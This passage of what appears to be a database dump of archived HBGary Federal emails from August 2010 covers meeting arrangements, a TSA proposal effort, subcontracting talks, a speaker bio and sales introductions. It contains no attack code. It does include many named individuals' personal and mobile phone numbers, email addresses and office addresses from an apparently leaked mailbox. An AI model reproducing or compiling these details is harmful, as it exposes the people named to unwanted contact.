message.\r\nDate: 8/10/2010 \r\nSubject: RE: Catch Up \r\nToday will be tight. I have Pink Team input due Tomorrow. Any chance we can do it later in the week? I am at Greenberry\'s Coffee House in Mclean for the day. Coffee and good Frozen Yogurt. :) The SBX your at is also a common hang out for me. :) Aaron On 08/10/10 8:15 AM, John M. Farrell wrote: -------------------- time for lunch today? I am working from SBX in Tysons now. On 08/10/10 5:18 AM, Aaron Barr wrote: -------------------- Hey John, I am not. I am heads down in a TSA proposal. I\'ll give you a call. Aaron On 08/09/10 3:28 PM, John M. Farrell wrote: -------------------- Aaron, I\'m attending the INPUT breakfast in Tysons Corner tomorrow morning. Will you be there? If not, how about we meet around 10AM right after the event? You can reach me on cell # 301.768.0186. Thanks John On 08/06/10 11:41 AM, Aaron Barr wrote:\r\n -------------------- Hi John, Sorry I have been silent...still doing well but scraping by working to build our pipeline. Lets get together. Aaron \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation',315,'aaron_hbgary_com/315.html'),(10010,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007825.M50964P14101Q4864.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Thu and Friday','Yes.Sent from my iPhoneOn Aug 10, 2010, at 11:19 AM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n \r\n\r\nCan you plan to spend this Fri and Monday here at DMI?\r\n\r\n \r\n\r\n \r\n\r\n-John\r\n\r\n \r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7290,'aaron_hbgary_com/7290.html'),(10011,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007825.M656193P14101Q4866.eml','\"John M Farrell\" <jmfarrell@yahoo.com>','Re: Catch Up','yeah thats the place. &nbsp;ok lets do that.AaronOn Aug 10, 2010, at 11:31 AM, John M Farrell wrote:sure, no problem. I will be back over here on Thursday. I have time at 1pm. I can meet you back at Greenberry\'s. Is that the place we met initially?&nbsp;John M Farrelljmfarrell@yahoo.com703.622.9025 voicemailFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;To:&nbsp;John M. Farrell &lt;jmfarrell@yahoo.com&gt;Sent:&nbsp;Tue, August 10, 2010 11:18:04 AMSubject:&nbsp;RE: Catch UpLinkedInAaron Barr&nbsp;has sent you a message.Date:&nbsp;8/10/2010Subject:&nbsp;RE: Catch UpToday will be tight. I have Pink Team input due Tomorrow. Any chance we can do it later in the week? I am at Greenberry\'s Coffee House in Mclean for the day. Coffee and good Frozen Yogurt. :) The SBX your at is also a common hang out for me. :)&nbsp;Aaron&nbsp;On 08/10/10 8:15 AM, John M. Farrell wrote:&nbsp;--------------------&nbsp;time for lunch today? I am working from SBX in Tysons now.&nbsp;On 08/10/10 5:18 AM, Aaron Barr wrote:&nbsp;--------------------&nbsp;Hey John,&nbsp;I am not. I am heads down in a TSA proposal. I\'ll give you a call.&nbsp;Aaron&nbsp;On 08/09/10 3:28 PM, John M. Farrell wrote:&nbsp;--------------------&nbsp;Aaron,&nbsp;I\'m attending the INPUT breakfast in Tysons Corner tomorrow morning. Will you be there? If not, how about we meet around 10AM right after the event? You can reach me on cell # 301.768.0186. Thanks&nbsp;John&nbsp;On 08/06/10 11:41 AM, Aaron Barr wrote:&nbsp;--------------------&nbsp;Hi John,&nbsp;Sorry I have been silent...still doing well but scraping by working to build our pipeline. Lets get together.&nbsp;AaronView/reply to this messageDon\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.© 2010, LinkedIn Corporation',13777,'aaron_hbgary_com/13777.html'),(10012,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007825.M896789P14101Q4867.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Thu and Friday','OK I am trying to work a graphic that shows the intersection of information and process management of all of these functional roles. &nbsp;It may be very rough for the pink team but hopefully it will be a decent start.AaronINFORMATION ASSURANCE COMPLIANCECertification and AccreditationFISMATraining and AwarenessInformation Systems Security OfficerINFORMATION ASSURANCE GOVERNANCESecurity ArchitecturePolicy AnalystsINFOSECIT ProcurementIA TECHNICAL SERVICESForensics AnalystE-DiscoverySOC ManagementIncident ResponseThreat and Vulnerability AnalysisCyber IntelligenceSecure Communications (COMSEC)On Aug 10, 2010, at 11:19 AM, John Fanguy wrote:Aaron-&nbsp;Can you plan to spend this Fri and Monday here at DMI?&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',8582,'aaron_hbgary_com/8582.html'),(10013,'2010-08-10','\"Federal Procurement Pro\" <mail@fedpublications.com>','/aaron@hbgary.com/new/1297007826.M108752P14101Q4868.eml','aaron@hbgary.com','Federal contracting de-mystified - Focus group invitation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n   \r\n \r\nDear AARON,  You are invited to a free six-month &quot;focus group&quot; subscription to the new Federal Procurement Pro newsletter and online resource website. Federal Procurement Pro covers topics to help you in the acquisition and management of government contracts, including marketing, government contract law, compliance, bidding and bid protest issues plus contract management topics such as earned value, project management and working with the FAR.  \r\n\r\nYou subscription also entitles you to download available resources reserved exclusively for members, such as the newly updated 2003-2010 edition of\r\n The Ins and Outs of Bids and Bid Protests on Federal Contracts \r\n(ISBN 978-0-9801135-0-1).  Please visit the site at www.federalprocurementpro.com and read some of the public articles now available. To sign-up, click here or visit www.FederalProcurementPro.com/subscribe and\r\n enter the promo code \r\nFocusG.&nbsp;\r\n Please note the free subscription invitation expires August 16, 2010.  In exchange for a free six-month subscription, we would appreciate your taking the time to tell us how we are doing by completing a short survey periodically. To enter your free subscription, please click here. (Enter\r\n FocusG&nbsp;for promo code.) \r\n\r\nPlease feel free to contact us with any questions or suggestions.&nbsp; Thank you for your time and we look forward to serving you.  Jon Levin Publisher,\r\n Federal Procurement Pro L2 Federal Resources, LLC. \r\n  \r\n \r\n \r\n   \r\n \r\n\r\nClick here to unsubscribe\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n9210 Corporate Boulevard , Suite 360, Rockville, MD 20850\r\n\r\n	\r\n',8744,'aaron_hbgary_com/8744.html'),(10014,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007826.M313812P14101Q4869.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Thu and Friday','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you sketch it on paper and scan/email or fax, Graphics can\r\npretty up.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 11:35 AM\r\nTo: John Fanguy\r\nCc: William Luti\r\nSubject: Re: Thu and Friday\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOK\r\nI am trying to work a graphic that shows the intersection of information and\r\nprocess management of all of these functional roles. &nbsp;It may be very rough\r\nfor the pink team but hopefully it will be a decent start.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nINFORMATION\r\nASSURANCE COMPLIANCE\r\n\r\n\r\n\r\n\r\n\r\nCertification\r\nand Accreditation\r\n\r\n\r\n\r\n\r\n\r\nFISMA\r\n\r\n\r\n\r\n\r\n\r\nTraining\r\nand Awareness\r\n\r\n\r\n\r\n\r\n\r\nInformation\r\nSystems Security Officer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nINFORMATION\r\nASSURANCE GOVERNANCE\r\n\r\n\r\n\r\n\r\n\r\nSecurity\r\nArchitecture\r\n\r\n\r\n\r\n\r\n\r\nPolicy\r\nAnalysts\r\n\r\n\r\n\r\n\r\n\r\nINFOSEC\r\n\r\n\r\n\r\n\r\n\r\nIT\r\nProcurement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIA\r\nTECHNICAL SERVICES\r\n\r\n\r\n\r\n\r\n\r\nForensics\r\nAnalyst\r\n\r\n\r\n\r\n\r\n\r\nE-Discovery\r\n\r\n\r\n\r\n\r\n\r\nSOC\r\nManagement\r\n\r\n\r\n\r\n\r\n\r\nIncident\r\nResponse\r\n\r\n\r\n\r\n\r\n\r\nThreat\r\nand Vulnerability Analysis\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nIntelligence\r\n\r\n\r\n\r\n\r\n\r\nSecure\r\nCommunications (COMSEC)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 10, 2010, at 11:19 AM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nyou plan to spend this Fri and Monday here at DMI?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9714,'aaron_hbgary_com/9714.html'),(10015,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007826.M582678P14101Q4870.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Social Media','Scott,BIO and AbstractAaron Barr is the CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously, Aaron served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.Presentation will focus on the rise of the social web, convergence of technologies to support the social web and the implications of a growing amount of personally identifiable information (PII) disclosure . &nbsp;Aggregated across social media services the personal information exposure is difficult to manage, for organizations the aggregated exposure of implicit information is significant. &nbsp;We will discuss the direction of the social web, describe the risks of information exposure to people and organizations as well as run through some use cases demonstrating the ease of acquiring sensitive information through social reconnaissance. &nbsp;Lastly we will cover what can be done today to limit information exposure.Does this work?AaronOn Jul 23, 2010, at 4:35 PM, Sheldon, Scott W. wrote:Aaron,I\'ve got a room booked for the afternoon of 5 Oct.Please confirm that works for you.Also, please send me an updated bio and a presentation abstract so I canpost them and send invitations.ScottScott W. Sheldon, PMP | SAICVice President, Senior Account Executive | Intelligence, Security andTechnology Groupmobile: 410.382.0179 | email: scott.w.sheldon@saic.com Science Applications International Corporation6841 Benjamin Franklin DriveColumbia, MD 21046www.saic.comEnergy &nbsp;| &nbsp;Environment &nbsp;| &nbsp;National Security &nbsp;| &nbsp;Health &nbsp;| &nbsp;CriticalInfrastructurePlease consider the environment before printing this email.This e-mail and any attachments to it are intended only for the identifiedrecipients. It may contain proprietary or otherwise legally protectedinformation of SAIC. Any unauthorized use or disclosure of thiscommunication is strictly prohibited. If you have received thiscommunication in error, please notify the sender and delete or otherwisedestroy the e-mail and all attachments immediately.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, July 21, 2010 11:03 AMTo: Sheldon, Scott W.Subject: Re: Social Mediaok how about the first tuesday in October.AaronOn Jul 21, 2010, at 10:42 AM, Sheldon, Scott W. wrote:Aaron,As of now I have any Tuesday in October open if you\'d like to sign up forone.Scott-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, July 21, 2010 10:34 AMTo: Sheldon, Scott W.Cc: Estell, Timothy W.Subject: Social MediaScott,Attached is a presentation I gave at the NSA REBL conference about a monthago. &nbsp;The response was overwhelming. &nbsp;Social media will continue to climbasa hot topic for defense and offense. &nbsp;I am in the process of updating thispresentation and building a 1 day training course for social media tocover:1. Familiarization2. Effective Use3. Risks4. Usecases5. Protection and ProcessI thought you might be interested in offering this presentation on one ofyour Tech Tuesdays. &nbsp;I have a lot of experience in social media, most ofitI can\'t talk directly about but it gives me a somewhat unique perspective.Aaron BarrCEOHBGary Federal Inc.',2801,'aaron_hbgary_com/2801.html'),(10016,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007826.M783663P14101Q4871.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Introduction','Did u get the information on the contract?SOW has been approved. RFP to drop this month.We are in very good shape based on my conversations with the customer yesterday. &nbsp;We are pitching exactly what they want.AaronOn Jul 23, 2010, at 1:50 PM, Tim Riesen wrote:\r\nGentlemen - \r\n\r\nAs a follow-up to recent discussions about a potential collaboration opportunity - allow me to introduce everyone. \r\n\r\nChris C. and Aaron – Doug and Chris K. from Ericsson Federal may be able to provide some infrastructure support to the program we are pursuing. &nbsp;\r\n\r\nDoug and Chris K – Chris C. is the capture manager from TASC for the opportunity I mentioned to you. &nbsp;Aaron is the former USG program manager for the initiative. &nbsp;His company, HB Gary, and Archimedes are sub-contractors to TASC.\r\n\r\nIf possible, I’d like to arrange a meeting at TASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for everyone. &nbsp;Provided it works, Doug and Chris will need to have their clearances sent over to TASC. &nbsp;\r\n\r\nAaron – I know you may not have returned in time for this meeting. &nbsp;If this doesn’t work for you, let’s arrange another time to discuss in further detail the potential opportunity that Doug and Chris have for some of the customers you have worked for/with previously. &nbsp;\r\n\r\nHave a good weekend - \r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',10999,'aaron_hbgary_com/10999.html'),(10017,'2010-08-10','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007826.M974087P14101Q4872.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contracts','Working on both.  Let me know some good days to come over here to meet\r\nwith the I2S PM.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 7:45 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Contracts\r\n\r\nHi Chris,\r\n\r\nAny updates on being able to get us on as subs to existing contracts\r\nlike i2s?  Where are we for potentially hiring people in Colorado?\r\n\r\nAaron\r\n\r\n',14238,'aaron_hbgary_com/14238.html'),(10018,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007827.M189321P14101Q4873.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','When is your next trip to CO?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Chappell, Scott C Mr CIV USA SMDC ARSTRAT\r\n\r\nDate: Tue, Aug 10, 2010 at 9:09 AM\r\nSubject: RE: Update\r\nTo: Ted Vera \r\n\r\n\r\nAs to 1LT Coy... not sure it\'s an interest thing as much as being able\r\nto connect dots without having a detailed classified conversation.\r\nThat and her supervisor told her \"not needed right now and break\r\ncontact\"... NEED YOUR CLEARANCE bro. Am leaving again real soon for a\r\ncouple weeks.\r\n\r\nGotta run, Scott\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, August 10, 2010 8:52 AM\r\nTo: Chappell, Scott C Mr CIV USA SMDC ARSTRAT\r\nSubject: Update\r\n\r\nHi Scott,\r\n\r\nHow was your vacation?  I never received a response from 1LT Coy, so\r\nI\'ll refrain from sending her any more emails, I guess she\'s not\r\ninterested.\r\n\r\nWe developed a one day course centered around social media and\r\ninformation reconnaissance, after receiving so much interest from our\r\nbriefing at NSA.  Many servicemen and employees have no idea the risks\r\nthey personally are exposing themselves and their organizations to\r\nonline.  Attached is a rough draft training brochure and classes are\r\nplanned to start Sept 2.\r\n\r\nTed\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  |\r\nMobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12420,'aaron_hbgary_com/12420.html'),(10019,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007827.M398344P14101Q4874.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','Hi Toby,I am excited about this. &nbsp;I think we can do this for around 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you? &nbsp;I would like to talk again to makes sure I am clear on your constraints, objectives, etc.AaronOn Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:Aaron&nbsp;It was great talking to you this morning.&nbsp; I look forward to working with you.&nbsp;Best&nbsp;-tr&nbsp;Toby RichardsonDirector, Western Region&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;Fidelis SecurityDallas, TexasPhone:&nbsp; 214.505.3136&nbsp;http://www.fidelissecurity.com&lt;image001.jpg&gt;&nbsp;See It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation FeaturesRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber Threats&nbsp;',4462,'aaron_hbgary_com/4462.html'),(10020,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007827.M604063P14101Q4875.eml','paulahb@dni.gov','BIO','Hi Paula,Let me know if I can provide anything else.Short BIO.CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.',13388,'aaron_hbgary_com/13388.html'),(10021,'2010-08-10','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297007827.M813114P14101Q4876.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Fidelis','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Fidelis\r\n\r\n\r\n\r\n\r\nFor Aug 9-10, I will be out of the office and have limited access to email or vmail.\r\n\r\nIf you require immediate assistance, please contact Stu Hoffmann (stu.hoffmann@fidelissecurity.com, 972-467-9761).\r\n\r\n\r\n\r\n\r\n',12083,'aaron_hbgary_com/12083.html'),(10022,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007829.M885082P14101Q4877.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Bill Luti\" <William.Luti@ngc.com>','Overall Solution','John,\r\n\r\nI am going to take a stab at the overall solution but here is how I see this playing out, love you input.\r\n\r\nAs I am working the technical solutions write up I am thinking there is an overall operational framework between the various components of ITSSS that will add significant benefit to TSA.  I don\'t know exactly what the framework looks like yet except for Technical Services.  I do a pretty decent job I think at pulling these frameworks out, but I need to understand the Compliance and Governance sections a little better.\r\n\r\nAll that to say, I will likely have a much modified overall solution once I get to read the other sections during Pink Team.\r\n\r\nBelow is a rough example of what I am talking about.  There are technologies and processes that make the below framework work.  The hub is of course the SOC which manages the databases and processes that bring these functions to life in an integrated approach.  This information also should feed directly back into the compliance and governance areas.  Example is training.  We need to drastically shorten the response to threats, to the point of being proactive.  Trends in vulnerabilities and incidents should immediately feed back into training, should immediately feed back into the procurement cycle for technologies, etc.\r\n\r\nGood so far?\r\n\r\n',13255,'aaron_hbgary_com/13255.html'),(10023,'2010-08-10','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297007830.M271133P14101Q4878.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     William.Luti@ngc.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 Mailbox unavailable or access denied -  (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.229.126.222 with SMTP id d30mr8415903qcs.223.1281459100851;\r\n        Tue, 10 Aug 2010 09:51:40 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [12.10.1.168] (h-72-245-126-10.mclnva23.static.covad.net [72.245.126.10])\r\n        by mx.google.com with ESMTPS id t4sm8090504qcs.4.2010.08.10.09.51.21\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Tue, 10 Aug 2010 09:51:38 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-35-356679349; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Overall Solution\r\nDate: Tue, 10 Aug 2010 12:51:13 -0400\r\nMessage-Id: \r\nTo: John Fanguy ,\r\n Bill Luti \r\nMime-Version: 1.0 (Apple Message framework v1081)\r\nX-Mailer: Apple Mail (2.1081)\r\n\r\nJohn,\r\n\r\nI am going to take a stab at the overall solution but here is how I see this playing out, love you input.\r\n\r\nAs I am working the technical solutions write up I am thinking there is an overall operational framework between the various components of ITSSS that will add significant benefit to TSA.  I don\'t know exactly what the framework looks like yet except for Technical Services.  I do a pretty decent job I think at pulling these frameworks out, but I need to understand the Compliance and Governance sections a little better.\r\n\r\nAll that to say, I will likely have a much modified overall solution once I get to read the other sections during Pink Team.\r\n\r\nBelow is a rough example of what I am talking about.  There are technologies and processes that make the below framework work.  The hub is of course the SOC which manages the databases and processes that bring these functions to life in an integrated approach.  This information also should feed directly back into the compliance and governance areas.  Example is training.  We need to drastically shorten the response to threats, to the point of being proactive.  Trends in vulnerabilities and incidents should immediately feed back into training, should immediately feed back into the procurement cycle for technologies, etc.\r\n\r\nGood so far?\r\n\r\n',820,'aaron_hbgary_com/820.html'),(10024,'2010-08-10','\"Carma Beedle\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297007830.M484868P14101Q4879.eml','Peternjusa@gmail.com,\"Aaron Barr\" <aaron@hbgary.com>','Hello from the West Coast and Introduction to HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Peter,\r\n\r\n&nbsp;\r\n\r\nHope you are well!&nbsp; I just took a new job which I&#8217;m\r\nvery excited about.&nbsp; I am not sure if you know who we are but I think you\r\nmight be interested in learning more if you aren&#8217;t.&nbsp; HB Gary is the\r\ncompany.&nbsp; Our focus is on advanced and zero day malware detection and\r\nprevention.&nbsp; I know we are pretty connected with the Air Force, but I am\r\nnot sure about the Navy-which I think you said was your division of DoD.&nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nI wanted to introduce you to Aaron Barr, the President of\r\nour Federal business.&nbsp; Peter meet Aaron, Aaron meet Peter.&nbsp; I think\r\nit would be awesome if you two spoke. &nbsp;J\r\n\r\n&nbsp;\r\n\r\nPeter you asked me a few months ago how my last company\r\ncould help in protecting PII, but we couldn&#8217;t.&nbsp; I think HB Gary can\r\nat least spark a conversation around new ways to think about protecting the\r\ndata.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAnyway, let me know if I can help and Peter if you come out\r\nthis way, please let me know.&nbsp; I&#8217;d love to catch up in person.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nCarma Beedle\r\n\r\nDir of Regional Sales\r\n\r\nHB Gary\r\n\r\n415 517 0663\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10844,'aaron_hbgary_com/10844.html'),(10025,'2010-08-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007830.M705658P14101Q4880.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I would like an introduction...','I don\'t\' know him and he isn\'t on my list, is he on Greg\'s?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 6:29 AM\r\nTo: Penny Leavy\r\nSubject: I would like an introduction...\r\n\r\nTo Chris Grindle.\r\n\r\nHe is in your LinkedIn contact list.\r\n\r\nAaron\r\n\r\n',15400,'aaron_hbgary_com/15400.html'),(10026,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007830.M946902P14101Q4881.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: I would like an introduction...','Shows on yours...\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 10, 2010, at 2:28 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> I don\'t\' know him and he isn\'t on my list, is he on Greg\'s?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 10, 2010 6:29 AM\r\n> To: Penny Leavy\r\n> Subject: I would like an introduction...\r\n>\r\n> To Chris Grindle.\r\n>\r\n> He is in your LinkedIn contact list.\r\n>\r\n> Aaron\r\n>\r\n',12966,'aaron_hbgary_com/12966.html'),(10027,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007831.M196038P14101Q4882.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Intel Social Media Policy','Looks like Intel has a pretty mature policy for social media use by\r\nits employees & contractors:\r\n\r\nhttp://www.intel.com/sites/sitewide/en_us/social-media.htm\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  